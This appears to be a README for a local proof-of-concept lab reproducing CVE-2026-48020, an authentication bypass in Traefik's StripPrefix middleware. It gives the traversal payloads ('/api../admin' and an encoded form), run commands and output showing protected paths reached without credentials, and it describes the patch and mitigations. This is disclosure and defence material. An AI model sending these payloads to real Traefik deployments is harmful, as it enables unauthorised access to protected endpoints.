
A self-contained proof of concept for CVE-2026-48020, a route-level
authentication/authorization bypass in Traefik's StripPrefix middleware
caused by path normalisation happening after routing decisions are made.
A request such as GET /api../admin is routed through a public
PathPrefix(\/api`)router at routing time (so the protected router'sbasicAuthmiddleware is never attached), but afterStripPrefixstrips/apiand Go'sreq.URL.JoinPath()normalises the remaining/../admin, the backend receives /admin` — a path that was supposed to be guarded.
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)The bypass payloads return 404 instead of 200. The patch (Traefik PR
#13215) rejects any request
whose path differs after StripPrefix/StripPrefixRegex normalisation, so
the /../admin rewrite is detected and refused.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
Prevent the public route from matching the traversal form at all:
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Reported to the Traefik maintainers by WonYun / kyun0 (GitHub: H4ck2); fixed in GHSA-xf64-8mw2-4gr2. This PoC lab is an independent reproduction built for the accompanying article: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.
| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Affected | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Fixed in | v2.11.48, v3.6.19, v3.7.3 |
| File | Purpose |
|---|
docker-compose.yml | Spins up a vulnerable Traefik (v3.7.1) + a Python backend |
dynamic.yml | Traefik dynamic config: a public /api strip route and a protected /admin,/internal route behind basicAuth |
backend.py | Tiny backend that returns a secret for the protected paths |
poc.py | Sends the bypass payloads and reports which paths were reached |